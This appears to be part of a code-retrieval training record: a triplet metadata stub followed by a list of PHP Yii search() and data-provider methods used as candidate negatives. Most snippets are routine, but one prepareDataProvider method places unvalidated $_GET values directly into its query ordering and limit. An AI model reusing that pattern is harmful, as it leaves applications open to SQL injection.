"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function searchQueryDataProvider() {}",
"public function search()\n {\n $q = $this->getQuery();\n $dataProvider = new ActiveDataProvider([\n 'query' => $q,\n ]);\n\n return $dataProvider;\n }",
"public function getQueryDataProvider() {}",
"public function search() {\n // Get CDbCriteria instance\n $dbCriteria = new CDbCriteria;\n // Search for client name\n $dbCriteria->compare('name', Yii::app()->request->getQuery('name', ''), true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $dbCriteria,\n 'pagination' => array(\n 'pageSize' => 10,\n ),\n ));\n }",
"protected function getDataProviders()\n {\n $searchModel = $this->getSearchModel();\n $queryParams = Yii::$app->request->queryParams;\n $dataProvider = $searchModel->search($queryParams);\n return [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider\n ];\n }",
"public function search()\n {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('url', $this->url);\n $criteria->compare('type', $this->type);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => 100),\n ));\n }",
"public function backendSearch()\n {\n $criteria = new CDbCriteria();\n\n return new CActiveDataProvider(\n __CLASS__,\n array(\n 'criteria' => $criteria,\n )\n );\n }",
"public function search() {\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria' => $this->getSearchCriteria(),\n\t\t\t'sort' => array(\n\t\t\t\t'defaultOrder' => 't.id DESC',\n\t\t\t\t'attributes' => array(\n\t\t\t\t\t'client_id' => array(\n\t\t\t\t\t\t'asc' => 'client_name asc',\n\t\t\t\t\t\t'desc' => 'client_name desc',\n\t\t\t\t\t),\n\t\t\t\t\t'*',\n\t\t\t\t),\n\t\t\t),\n\t\t\t'pagination' => array(\n\t\t\t\t'pageSize' => Yii::app()->config->get('global.per_page'),)\n\t\t));\n\t}",
"public function search()\n {\n $criteria = new CDbCriteria;\n $criteria->compare('id', $this->id, true);\n $criteria->compare('level', $this->level);\n $criteria->compare('text', $this->text, true);\n $criteria->compare('ip_create', $this->ip_create, true);\n\n return new ActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function createSearchQuery()\n {\n $query = new SearchQuery($this->elastic);\n $query->listeners = $this->listeners;\n return $query;\n }",
"public function search()\n {\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('state', $this->state);\n $criteria->compare('type','0');\n return new ActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function prepareDataProvider()\n\t{\n\t $searchModel = new \\app\\models\\ClearanceSearch(); \n\t\treturn $searchModel->search(\\Yii::$app->request->queryParams);\n\n\t}",
"public function search()\n {\n $criteria = new CDbCriteria;\n $criteria->compare('authorname', $this->authorname, true);\n return new CActiveDataProvider($this, array('criteria' => $criteria, ));\n }",
"public function getDataProvider(array $query = []);",
"protected function prepareDataProvider()\n {\n if ($this->prepareDataProvider !== null) {\n return call_user_func($this->prepareDataProvider, $this);\n }\n\n\t\t/* @var $modelClass \\yii\\db\\BaseActiveRecord */\n $modelClass = $this->modelClass;\n\t\t$query = $modelClass::find();\n\t\t\n\t\t$filters = ActionHelpers::getFilter();\n\t\t\n\t\tforeach($filters as $filter) {\n\t\t\t$query->andFilterWhere($filter);\n\t\t}\n\t\t\n\t\tif($with = ActionHelpers::getWith()) {\n $query->with($with);\n }\n\n return new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => [\n 'pageSize' => ActionHelpers::getLimit()\n ],\n 'sort'=> ActionHelpers::getSort()\n // 'sort'=> ['defaultOrder' => ['id'=>SORT_DESC]]\n ]);\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('entity_id', $this->entity_id);\n $criteria->compare('dbname', $this->dbname, true);\n $criteria->compare('isfiltered', $this->isfiltered);\n $criteria->compare('filtertype', $this->filtertype);\n $criteria->compare('alias', $this->alias, true);\n $criteria->compare('enabled', $this->enabled);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => false,\n ));\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that should not be searched.\n\t\t$criteria = new \\CDbCriteria;\n\n\t\tforeach (array_keys($this->defineAttributes()) as $name)\n\t\t{\n\t\t\t$criteria->compare($name, $this->$name);\n\t\t}\n\n\t\treturn new \\CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('type',$this->type,true);\n\t\t$criteria->compare('memo',$this->memo,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n {\n $query = Hotel::find();\n // add conditions that should always apply here\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n ]);\n \n // grid filtering conditions\n $query->availables($this->quantity_of_guests);\n $query->andFilterWhere([\n 'hotel_id' => $this->hotel_id,\n 'price_per_guest' => $this->price_per_guest,\n ]);\n $query->andFilterWhere(['like', 'city_name', $this->city_name]);\n return $dataProvider;\n \n }",
"public function search()\n\t{\n\t $criteria=new CDbCriteria;\n\t\t\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('projection',$this->projection,true);\n\t\t$criteria->compare('username',Yii::app()->user->id);\n\t\t$criteria->compare('title',$this->title);\n\t\t$criteria->compare('url',$this->url);\n\t return new CActiveDataProvider(get_class($this), array(\n\t 'criteria'=> $criteria,\n\t 'sort'=>array(\n\t 'defaultOrder'=>'name ASC',\n\t ),\n\t 'pagination'=>array(\n\t 'pageSize'=>10\n\t ),\n\t ));\n\t}",
"private function _getDataProvider($query, $params){\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n ]);\n\n if (!($this->load($params) && $this->validate())) {\n return $dataProvider;\n }\n\n $query->andFilterWhere([\n 'user_id' => $this->user_id,\n 'profile_id' => $this->profile_id,\n 'authentication_method_id' => $this->authentication_method_id,\n 'status' => $this->status,\n 'created_at' => $this->created_at,\n 'updated_at' => $this->updated_at,\n ]);\n\n $query->andFilterWhere(['like', 'username', $this->username])\n ->andFilterWhere(['like', 'auth_key', $this->auth_key])\n ->andFilterWhere(['like', 'password_hash', $this->password_hash])\n ->andFilterWhere(['like', 'password_reset_token', $this->password_reset_token])\n ->andFilterWhere(['like', 'email', $this->email]);\n\n return $dataProvider;\n }",
"public function getMetadataQueryProviderWrapper();",
"protected function prepareDataProvider()\n {\n \t$modelClass = $this->modelClass;\n\n $orderBy='id';\n if (isset($_GET['orderBy'])) $orderBy=$_GET['orderBy'];\n\n $orderByDir='DESC';\n if (isset($_GET['orderByDir'])) $orderByDir=$_GET['orderByDir'];\n\n $limit=20;\n if (isset($_GET['limit'])) $limit=$_GET['limit'];\n\n $order = \"$orderBy $orderByDir\";\n\n \t$dataProvider = new ActiveDataProvider([\n 'query' => $modelClass::find()->limit($limit)->with('supplier')->orderBy($order),\n 'pagination' => [\n 'pageSize' => $limit,\n ],\n ]);\n\n \treturn $dataProvider;\n }",
"public function makeSearch() \n {\n $this->setSelect($this->qb);\n $this->setAssociations($this->qb);\n $this->setWhere($this->qb);\n $this->setOrderBy($this->qb);\n $this->setLimit($this->qb);\n\n return $this;\n }",
"public function search()\n\t{\n\t\t$criteria = new CDbCriteria;\n\t\t//TODO: update search criteria\n\t\t$criteria->compare('id', $this->id, true);\n\t\t$criteria->compare('event_id', $this->event_id, true);\n\t\t$criteria->compare('standard_intervention_exists', $this->standard_intervention_exists);\n\t\t$criteria->compare('details', $this->details);\n\t\t$criteria->compare('interventions_id', $this->interventions_id);\n\t\t$criteria->compare('description', $this->description);\n\t\t$criteria->compare('patient_factors', $this->patient_factors);\n\t\t$criteria->compare('patient_factor_details', $this->patient_factor_details);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('title',$this->title,true);\n\t\t$criteria->compare('description',$this->description,true);\n\t\t$criteria->compare('keywords',$this->keywords,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public static function new_search_record()\n\t{\n\t\treturn new user_record_search();\n\t}",
"public function search() {\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('content', $this->content, true);\n\t\t$criteria->compare('score', $this->score);\n\t\t$criteria->compare('author', $this->author, true);\n\t\t$criteria->compare('type', $this->type);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}",
"public function search()\n {\n $criteria = new CDbCriteria;\n $criteria->compare('uid', $this->uid);\n $criteria->compare('token', $this->token, true);\n $criteria->compare('created', $this->created, true);\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n\n $this->entity = $this->name;\n $this->conditions = $this->_getSearchConditions();\n $this->joins = $this->_getSearchJoins();\n $this->orders = $this->_getSearchOrder();\n $this->limit = $this->_getSearchLimit();\n $this->maxLimit = $this->_getSearchMaxLimit();\n $this->offset = $this->_getSearchOffset();\n $this->fields = $this->_getSearchFields();\n $this->group = $this->_getSearchGroup();\n\n// $this->setVar('entity', $this->name);\n// $this->setVar('conditions', $this->_getSearchConditions());\n// $this->setVar('joins', $this->_getSearchJoins());\n// $this->setVar('orders', $this->_getSearchOrder());\n// $this->setVar('limit', $this->_getSearchLimit());\n// $this->setVar('maxLimit', $this->_getSearchMaxLimit());\n// $this->setVar('offset', $this->_getSearchOffset());\n// $this->setVar('fields', $this->_getSearchFields());\n// $this->setVar('group', $this->_getSearchGroup());\n//\n// $this->setVar('baseAdditionalElements', $this->additionalElements);\n $this->getFieldsForSearchFunction = '_extractSearchFields';\n\n return $this->baseSearch();\n }",
"public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('keyword_id', $this->keyword_id);\n $criteria->compare('visits', $this->visits);\n $criteria->compare('page_views', $this->page_views);\n $criteria->compare('parsing', $this->parsing);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => 50),\n ));\n }",
"protected function getNewSearchModel()\n {\n $searchModelName = $this->getSearchModelName();\n return new $searchModelName;\n }",
"public function search()\n\t{\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n\t\t$criteria->compare('name',$this->name,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function searchdatas(){\r\n\t\t// should not be searched.\r\n\t\t$conditions=array();\r\n\t\t$params=array();\r\n\t\t$page_params=array();\r\n\t\t$criteria=new CDbCriteria;\r\n\t\t$sort=new CSort();\r\n \t$sort->attributes=array();\r\n \t$sort->defaultOrder=\"t.create_time ASC\";\r\n \t$sort->params=$page_params;\r\n\t\treturn new CActiveDataProvider(get_class($this), array(\r\n\t\t\t'criteria'=>array(\r\n\t\t\t 'condition'=>'',\r\n\t\t\t 'params'=>array(),\r\n\t\t\t 'with'=>array(\"User\",\"District\"),\r\n\t\t\t),\r\n\t\t\t'pagination'=>array(\r\n 'pageSize'=>'20',\r\n 'params'=> $page_params,\r\n ),\r\n 'sort'=>$sort,\r\n\t\t));\r\n\t}",
"public function search()\n {\n\n $query = Board::find()->where(['user_id' => $this->user_id]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => [\n 'pageSize' => 10,\n ],\n 'sort' => [\n 'defaultOrder' => [\n 'created_at' => SORT_DESC,\n\n ]\n ],\n ]);\n\n return $dataProvider;\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('post_id', $this->post_id);\n $criteria->compare('language_id', $this->language_id);\n $criteria->compare('header', $this->header, true);\n $criteria->compare('text', $this->text, true);\n\t\t$criteria->compare('rating',$this->rating);\n\t\t$criteria->compare('author_id',$this->author_id);\n\t\t$criteria->compare('date_add',$this->date_add,true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search()\n {\n $criteria = new CDbCriteria;\n\n $criteria->compare('t.id', $this->id);\n $criteria->compare('who', $this->who);\n $criteria->compare('date', $this->date, true);\n $criteria->compare('text', $this->text, true);\n $criteria->compare('rate', $this->rate);\n $criteria->compare('knowledge', $this->knowledge);\n $criteria->compare('behavior', $this->behavior);\n $criteria->compare('motivation', $this->motivation);\n $criteria->compare('rate', $this->who_ip);\n $criteria->compare('is_checked', $this->is_checked);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array(\n 'pageSize' => '50',\n ),\n 'sort' => array(\n 'defaultOrder' => array(\n 'date' => CSort::SORT_DESC,\n ),\n ),\n ));\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('name', $this->name, true);\n $criteria->compare('latitude', $this->latitude);\n $criteria->compare('longitude', $this->longitude);\n $criteria->compare('type', $this->type, true);\n $criteria->compare('vicinity', $this->vicinity, true);\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function parametersAndQueriesDataProvider() {}",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('region_id', $this->region_id);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search()\n\t{\n\t\t $this->StateProcess(get_class($this).'_'.Y::app()->params['cfgName']);\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('title',$this->title,true);\n $criteria->compare('title_adm',$this->title,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n 'sort'=>array('defaultOrder'=>'id DESC'),\n 'pagination'=>array('pageSize'=>Config::$data['base']->pageSize)\n\t\t));\n\t}",
"public function search($params,$query=null)\n {\n if(!$query) $query = RestClient::find();\n\n $query = $query->joinWith(['hospital']) \n ->joinWith(['hospital.sales']);\n //$query = $query->joinWith('mingrui_comments');\n // add conditions that should always apply here\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n ]);\n\n $this->load($params);\n \n if (!$this->validate()) {\n // uncomment the following line if you do not want to return any records when validation fails\n // $query->where('0=1');\n //var_dump($params);exit;\n return $dataProvider;\n }\n \n // grid filtering conditions\n $query->andFilterWhere([\n 'rest_client.id' => $this->id, \n 'age' => $this->age, \n 'hospital_id' => $this->hospital_id, \n ]);\n\n $query->andFilterWhere(['like', 'rest_client.name', $this->name])\n ->andFilterWhere(['like', 'sex', $this->sex])\n ->andFilterWhere(['like', 'birthplace', $this->birthplace])\n ->andFilterWhere(['like', 'email', $this->email])\n ->andFilterWhere(['like', 'tel', $this->tel])\n ->andFilterWhere(['like', 'school', $this->school])\n ->andFilterWhere(['like', 'education', $this->education])\n ->andFilterWhere(['like', 'experience', $this->experience])\n ->andFilterWhere(['like', 'employed', $this->employed])\n ->andFilterWhere(['like', 'department', $this->department])\n ->andFilterWhere(['like', 'worktime', $this->worktime])\n ->andFilterWhere(['like', 'position', $this->position])\n ->andFilterWhere(['like', 'speciality', $this->speciality])\n ->andFilterWhere(['like', 'hobby', $this->hobby])\n ->andFilterWhere(['like', 'notes', $this->notes])\n ->andFilterWhere(['like', 'zhuren', $this->zhuren])\n ->andFilterWhere(['like', 'pianhao', $this->pianhao]) \n ->andFilterWhere(['like', 'rest_danwei.name', $this->hospitalname])\n ->andFilterWhere(['like', 'rest_sales.name', $this->salesname])\n ;\n\n // echo $query->createCommand()->getRawSql(); exit; \n return $dataProvider;\n }",
"public function search()\n\t{\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('agreement',$this->agreement);\n\t\t$criteria->compare('date',$this->date,true);\n\t\t$criteria->compare('user',$this->user);\n\t\t$criteria->compare('new_status',$this->new_status);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('description', $this->description, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n\n\t\t$criteria = $this->getDbCriteria();\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('subject', $this->subject, true);\n\t\t$criteria->compare('status', $this->status);\n\t\t$criteria->compare('template.name', $this->template_id, true);\n\n\t\t$sort = new CSort;\n\t\t$sort->defaultOrder = 'id DESC';\n\n\t\treturn new NActiveDataProvider($this, array(\n\t\t\t\t\t'criteria' => $criteria,\n\t\t\t\t\t'sort' => $sort,\n\t\t\t\t\t'pagination' => array(\n\t\t\t\t\t\t'pageSize' => 20,\n\t\t\t\t\t),\n\t\t\t\t));\n\t}",
"public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria=new CDbCriteria;\n\n $criteria->compare('id',$this->id,true);\n $criteria->compare('query_id',$this->query_id,true);\n $criteria->compare('se_id',$this->se_id,true);\n $criteria->compare('se_page',$this->se_page,true);\n $criteria->compare('se_url',$this->se_url,true);\n $criteria->compare('visits',$this->visits);\n\n return new CActiveDataProvider($this, array(\n 'criteria'=>$criteria,\n 'pagination' => array('pageSize' => 25),\n ));\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('acquisition_date_id', $this->acquisition_date_id);\n $criteria->compare('acquisition_type_id', $this->acquisition_type_id);\n $criteria->compare('location_id', $this->location_id);\n $criteria->compare('number', $this->number, true);\n $criteria->compare('annotation', $this->annotation, true);\n $criteria->compare('location_coordinates_id', $this->location_coordinates_id);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"protected function _initSearch()\n {\n $this->where['is_del'] = array('eq', 1);\n $this->order = 'create_time desc';\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('id_client', $this->id_client);\n $criteria->compare('first_name', $this->first_name, true);\n $criteria->compare('last_name', $this->last_name, true);\n $criteria->compare('date_birth', $this->date_birth, true);\n $criteria->compare('gender', $this->gender);\n\n return new CActiveDataProvider(get_class($this), array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('domain', $this->domain, true);\n $criteria->compare('ru_domain', $this->ru_domain, true);\n $criteria->compare('page', $this->ru_domain);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function applyDefaultSearchQuery(\\yii\\data\\ActiveDataProvider &$dataProvider);",
"protected function _initSearch()\n {\n $this->where['is_del'] = array('eq', 0);\n $this->order = 'create_time desc';\n }",
"public static function new_search_record()\n\t{\n\t\treturn new league_record_search();\n\t}",
"public function search()\n {\n $query = Story::find()\n ->owner()\n ->globalChannel()\n ->orderBy(['_id' => SORT_ASC])\n ->active();\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => false\n ]);\n\n return $dataProvider;\n }",
"public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('project_id', $this->project_id);\n $criteria->compare('num', $this->num);\n $criteria->compare('team_strength', $this->team_strength);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"private function instantiate_search_page() {\n // Build the search_types_fields and search_types_label arrays out of post_types_defs\n $search_types_fields = array();\n $search_types_label = array();\n foreach ( $this->post_type_defs as $post_type ) {\n $search_types_fields[ $post_type[ 'slug' ] ] = $post_type[ 'fields' ];\n $search_types_label[ $post_type[ 'slug' ] ] = $post_type[ 'plural_name' ];\n }\n $this->search_page = new HRHS_Search( array(\n // Using the default slug and title for now\n 'search_types_fields' => $search_types_fields,\n 'search_types_label' => $search_types_label\n ) );\n }",
"public function search()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('title',$this->title,true);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search($query);",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('sex', $this->sex);\n $criteria->compare('mobile', $this->mobile, true);\n $criteria->compare('idcard', $this->idcard, true);\n $criteria->compare('password', $this->password, true);\n $criteria->compare('place_ids', $this->place_ids, true);\n $criteria->compare('depart_id', $this->depart_id);\n $criteria->compare('bank', $this->bank, true);\n $criteria->compare('bank_card', $this->bank_card, true);\n $criteria->compare('address', $this->address, true);\n $criteria->compare('education', $this->education, true);\n $criteria->compare('created', $this->created);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('summ', $this->summ, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('company_id', Yii::app()->user->company_id);\n $criteria->compare('zone_id', $this->zone_id, true);\n $criteria->compare('low_qty_threshold', $this->low_qty_threshold);\n $criteria->compare('high_qty_threshold', $this->high_qty_threshold);\n $criteria->compare('created_date', $this->created_date, true);\n $criteria->compare('created_by', $this->created_by, true);\n $criteria->compare('updated_date', $this->updated_date, true);\n $criteria->compare('updated_by', $this->updated_by, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('nrs', $this->nrs, true);\n $criteria->compare('supplier_name', $this->supplier_name, true);\n $criteria->compare('npwp', $this->npwp, true);\n $criteria->compare('bank_name', $this->bank_name, true);\n $criteria->compare('bank_account_number', $this->bank_account_number, true);\n $criteria->compare('created_at', $this->created_at, true);\n $criteria->compare('created_by', $this->created_by);\n $criteria->compare('updated_at', $this->updated_at, true);\n $criteria->compare('updated_by', $this->updated_by);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'sort' => array(\n 'defaultOrder' => 'id DESC',\n ),\n ));\n }",
"public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('code',$this->code,true);\n\t\t$criteria->compare('title',$this->title,true);\n\t\t$criteria->compare('did',$this->did);\n\t\t$criteria->compare('date_prod',$this->date_prod,true);\n\t\t$criteria->compare('kind',$this->kind,true);\n\t\t$criteria->compare('len',$this->len,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('code', $this->code, true);\n\t\t$criteria->compare('name', $this->name, true);\n\t\t$criteria->compare('printable_name', $this->printable_name, true);\n\t\t$criteria->compare('iso3', $this->iso3, true);\n\t\t$criteria->compare('numcode', $this->numcode);\n\t\t$criteria->compare('is_default', $this->is_default);\n\t\t$criteria->compare('is_highlight', $this->is_highlight);\n\t\t$criteria->compare('is_active', $this->is_active);\n\t\t$criteria->compare('date_added', $this->date_added);\n\t\t$criteria->compare('date_modified', $this->date_modified);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}",
"public function search($params)\n {\n $this->__search($params);\n\n // grid filtering conditions\n $this->query\n\t ->andFilterWhere([\n\t 'id' => $this->id,\n\t 'ord' => $this->ord,\n\t 'type' => $this->type,\n\t ])\n\t ->andFilterWhere(['like', 'code', $this->code])\n ->andFilterWhere(['like', 'name', $this->name]);\n\n return $this->dataProvider;\n }",
"public function createQuery() {}",
"public function createQuery() {}",
"public function createQuery() {}",
"public function createQuery() {}",
"public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n $criteria = new CDbCriteria();\n \n $criteria->compare('question_id', $this->question_id);\n $criteria->compare('student_id', $this->student_id);\n $criteria->compare('answer_id', $this->answer_id);\n $criteria->compare('answer_text', $this->answer_text, true);\n $criteria->compare('answer_number', $this->answer_number, true);\n $criteria->compare('exec_time', $this->exec_time);\n $criteria->compare('result', $this->result);\n $criteria->compare('test_result', $this->test_result);\n \n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria\n ));\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('createDate', $this->createDate);\n $criteria->compare('lastUpdated', $this->lastUpdated);\n $criteria->compare('trackingKey', $this->trackingKey);\n $criteria->compare('email', $this->email);\n $criteria->compare('leadscore', $this->leadscore);\n\n if (!Yii::app()->user->isGuest) {\n $pageSize = Profile::getResultsPerPage();\n } else {\n $pageSize = 20;\n }\n\n return new SmartActiveDataProvider(get_class($this), array(\n 'pagination' => array(\n 'pageSize' => $pageSize,\n ),\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n// @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('description', $this->description, true);\n $criteria->compare('type', $this->type, true);\n $criteria->compare('options', $this->options, true);\n $criteria->compare('autoreplys', $this->autoreplys, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function googleSearch()\n {\n $search = new \\Hoor\\Search\\Google(get_search_query(), $this->getIndex());\n $this->data['search'] = $search;\n $this->data['results'] = $search->results;\n }",
"protected function addSearchConfigs()\n {\n\n $this['textQueryBuilder'] = function () {\n return new TextQueryBuilder();\n };\n\n $this['searchManager'] = function ($c) {\n return new SearchManager($c['databaseAdapter'], $c['queue'], $c['request'], array(\n $c['textQueryBuilder']\n ));\n };\n\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('tbl_customer_supplier', $this->tbl_customer_supplier, true);\n $criteria->compare('id_customer', $this->id_customer, true);\n $criteria->compare('id_supplier', $this->id_supplier, true);\n $criteria->compare('title', $this->title, true);\n $criteria->compare('date_add', $this->date_add, true);\n $criteria->compare('date_upd', $this->date_upd, true);\n $criteria->compare('active', $this->active);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public static function search()\n {\n return self::filterSearch([\n 'plot_ref' => 'string',\n 'plot_name' => 'string',\n 'plot_start_date' => 'string',\n 'user.name' => self::filterOption([\n 'select' => 'id',\n 'label' => trans_title('users', 'plural'),\n 'fields' => ['id', 'name'],\n //ComboBox user list base on the current client\n //See in App\\Models\\Users\\UsersScopes\n 'model' => app(User::class)->bySearch(),\n ]),\n 'client.client_name' => self::filterOption([\n 'conditional' => Credentials::hasRoles(['admin', 'admin-gv']),\n 'select' => 'client_id',\n 'label' => trans_title('clients', 'plural'),\n 'model' => Client::class,\n 'fields' => ['id', 'client_name']\n ])\n ]);\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('name', $this->name, true);\n\t\t$criteria->compare('district_id', $this->district_id);\n\t\t$criteria->compare('active', $this->active);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t\t\t'criteria' => $criteria,\n\t\t\t\t));\n\t}",
